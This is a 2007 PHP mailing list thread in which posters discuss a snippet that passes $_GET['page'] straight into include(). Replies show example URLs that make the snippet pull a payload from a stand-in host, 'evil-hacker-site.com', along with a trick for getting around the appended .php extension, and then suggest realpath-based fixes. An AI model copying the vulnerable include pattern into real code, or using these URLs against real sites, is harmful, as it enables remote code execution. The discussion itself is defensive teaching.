On Nov 15, 2007 7:16 AM, Stut <stuttle@xxxxxxxxx> wrote:
> Instruct ICC wrote:
> >
> >
> >> Date: Thu, 15 Nov 2007 00:20:52 +0000
> >> From: stuttle@xxxxxxxxx
> >> To: philthathril@xxxxxxxxx
> >> CC: php-general@xxxxxxxxxxxxx
> >> Subject: Re: file_exists
> >>
> >> Philip Thompson wrote:
> >>> I've run into similar problems where I *thought* I was looking in the
> >>> correct location... but I wasn't. Take this for example....
> >>>
> >>>> $page = $_GET['page'];
> >>> if (file_exists ("$page.php")) {
> >>> include ("$page.php");
> >>> }
> >>> ?>
> >> I really hope this is not a piece of production code. If it is then you
> >> might want to think very hard about what it's doing. If you still can't
> >> see a problem let me know!
> >>
> >> -Stut
> >>
> >> --
> >> http://stut.net/
> >>
> >> --
> >> PHP General Mailing List (http://www.php.net/)
> >> To unsubscribe, visit: http://www.php.net/unsub.php
> >>
> >
> > Called like this?
> >
> > index.php?page=http://evil-hacker-site.com/evil-payload.php
> >
> > And the browser will probably url_encode for me if needed.
>
> Actually in this example that would end up getting evil-payload.php.php
> - probably not what your evil mind wanted. You could do this...
>
> index.php?page=http://evil-hacker-site.com/evil-payload
>
> ...assuming you know it's gonna stick .php on the end. Alternatively you
> could do this...
>
> index.php?page=http://evil-hacker-site.com/evil-payload.php?
>
> Resulting in the appended .php being in the querystring. The easiest way
> to protect your code from this is to always always prefix the string
> with something as well as appending to it. For example...
>
> $page = dirname(__FILE__).'/'.$_GET['page'].'.php';
> if (file_exists ($page)) {
> include ($page);
> }
>
> But that doesn't prevent a malicious user including any PHP file on your
> server. $_GET['page'] should be one of a known set of values. At the
> very least it should be restricted to file in a particular directory.
>
> Something like the following would be much better (untested)...
>
> $page = realpath(dirname(__FILE__).'/inc/'.$_GET['page'].'.php');
> $expecteddir = realpath(dirname(__FILE__).'/inc');
> if (substr($page, 0, strlen($expecteddir)) != $expecteddir)
> {
> // Ideally return a 403 status here
> die('Access denied');
> }
> // Now we know it's a file in the right directory
> if (file_exists($page))
> {
> include($page);
> }
> else
> {
> // Return a 404 status here
> die('Resource not found');
> }
>
> That should lock the requested page to the given directory. If anyone
> can see any way around that I'd be interested in hearing about it.
>
> -Stut
>
Thanks to all who replied. Yes, that was *NOT* production code - merely an
example. I know better than that!! =D
~Philip
